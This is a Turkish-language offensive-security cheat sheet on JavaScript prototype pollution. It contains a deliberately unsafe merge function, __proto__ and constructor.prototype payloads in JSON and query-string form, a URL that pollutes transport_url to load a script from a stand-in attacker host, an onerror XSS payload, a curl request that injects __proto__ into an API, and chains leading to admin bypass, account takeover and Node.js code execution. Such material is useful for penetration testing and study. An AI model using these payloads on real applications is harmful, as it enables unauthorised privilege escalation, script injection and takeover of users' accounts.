Skip to content

Prototype Pollution

JavaScript difficulty: orta-zor

Prototype Pollution, JavaScript’te saldırganın Object.prototype’a özellik ekleyebilmesidir. Kirletilen özellik tüm nesnelerde varsayılan olarak görünür; uygun bir “gadget” ile bu, istemcide XSS’e, sunucuda (Node.js) RCE’ye veya yetki atlatmaya yükselir.

Güvensiz recursive merge, deep clone, lodash.merge, jquery.extend(true, …), query-string parser veya JSON.parse sonrası kör atama:

function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object')
merge(target[key] = target[key] || {}, source[key]);
else target[key] = source[key];
}
}
merge({}, JSON.parse('{"__proto__":{"isAdmin":true}}'));
// {}.isAdmin === true
__proto__
constructor.prototype
__proto__.constructor.prototype
{ "__proto__": { "isAdmin": true } }
{ "constructor": { "prototype": { "isAdmin": true } } }
?__proto__[isAdmin]=true
?constructor[prototype][isAdmin]=true
?__proto__.isAdmin=true
Object.prototype.junkprop === 'yes' // ?__proto__[junkprop]=yes sonrası
  1. Source bul — URL hash/query veya JSON deep-merge. DOM Invader PP modu.

  2. Gadget bul — kirletilen property’yi okuyan kod:

    config.transport_url
    options.urlscript.src
    settings.innerHTML
    _.templateSettings / sanitize false
  3. XSS’e yükselt — src / url / innerHTML gadget’ları.

  4. Akışı kanıtla — kurbana özel URL + callback.

https://hedef.com/#__proto__[transport_url]=https://attacker/x.js
https://hedef.com/?__proto__[innerHTML]=<img/src/onerror=alert(1)>
child_process exec options → shell: true
NODE_OPTIONS / argv kirletme
template engine (EJS/Pug/Handlebars) ayarları
express body parser + merge
Terminal window
curl -X POST https://hedef/api \
-H 'Content-Type: application/json' \
-d '{"__proto__":{"status":200,"body":"polluted"}}'

Önce zararsız property (“polluted”:true) ile kirlenmeyi kanıtla; sonra bağımlılık gadget’larını ara (PortSwigger server-side labs).

__proto__ engelli → constructor
{"constructor":{"prototype":{"x":1}}}
Object.create(null) sink değil
ACL bypass: isAdmin, role, authenticated
□ Query / JSON / body / multipart merge noktaları
□ Client: DOM Invader + gadget research
□ Server: npm bağımlılık sürümleri (PP CVE)
□ Auth: role/isAdmin property pollution
□ DoS: Object.prototype.toString override (nadir)
□ prototype pollution → SSTI/XSS gadget zinciri
?__proto__[junk]=1 → Object.prototype.junk true
→ gadget (transport_url)
→ XSS / account takeover
JSON merge API → __proto__ isAdmin
→ authz bypass → admin actions